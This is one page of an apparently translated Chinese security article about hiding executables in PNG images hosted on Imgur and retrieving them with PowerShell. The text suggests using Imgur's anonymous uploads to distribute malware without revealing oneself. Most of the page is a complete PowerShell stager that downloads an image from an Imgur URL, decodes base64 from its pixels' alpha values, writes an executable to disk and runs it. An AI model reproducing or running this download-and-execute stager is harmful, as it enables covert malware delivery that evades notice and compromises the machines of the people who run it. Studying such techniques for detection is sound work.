Loading
0

利用Powershell和PNG在Imgur上投毒

如您所见,前面制作的文件上传到Imgur后并没有被改变。

那我们现在要怎么办? 这有用吗?好了,Imgur只是万里长征的第一步:无需注册帐户就可以上传图片。为什么不使用它来分发恶意软件,而不必暴露自己太多的信息呢?

有一件事要注意,你必须有能力恢复PNG图像并对其进行处理,因为带有代码执行漏洞的PNG库已经成为过去,只是加载带有有效载荷的图像是不太可能黑掉系统的。

幸运的是,Windows有一个内置的功能,可以直接让你与图像打交道并提取像素数据。为此,可以使用Powershell,而无需任何附加模块。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 Add-Type -AssemblyName System.Drawing
    Add-Type -AssemblyName System.Text.Encoding
    $strURL = "http://i.imgur.com/nckqSN1.png"
    $strFilename = "c:\temp\payloadb64.png"
    $peOutputFile = "c:\temp\calc.exe"
    Invoke-WebRequest -Uri $strURL -OutFile $strFilename
    $image = [System.Drawing.Image]::FromFile($strFilename)
    $peBase64 = @()
    for ($w=0;$w -lt $image.Width;$w++)
    {
        $row = @()
        for ($h=0;$h -lt $image.Height;$h++)
        {
            $pixel = ($image.GetPixel($w,$h)).A
            $pixel = [convert]::toint32($pixel, 10)
            $pixel = [char]$pixel
            $row += $pixel
        }
        $peBase64 = $peBase64 + $row
    }
    $peImage = @()
    foreach ($peValue in $peBase64)
    {
        if ($peValue -ne "`0")
        {
            $peImage = $peImage += $peValue
        }
    }
    $peImage = [System.Convert]::FromBase64String($peImage)
    [System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
    & $peOutputFile
分页阅读: 1 2 3 4 5 6
【声明】:8090安全小组门户(https://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。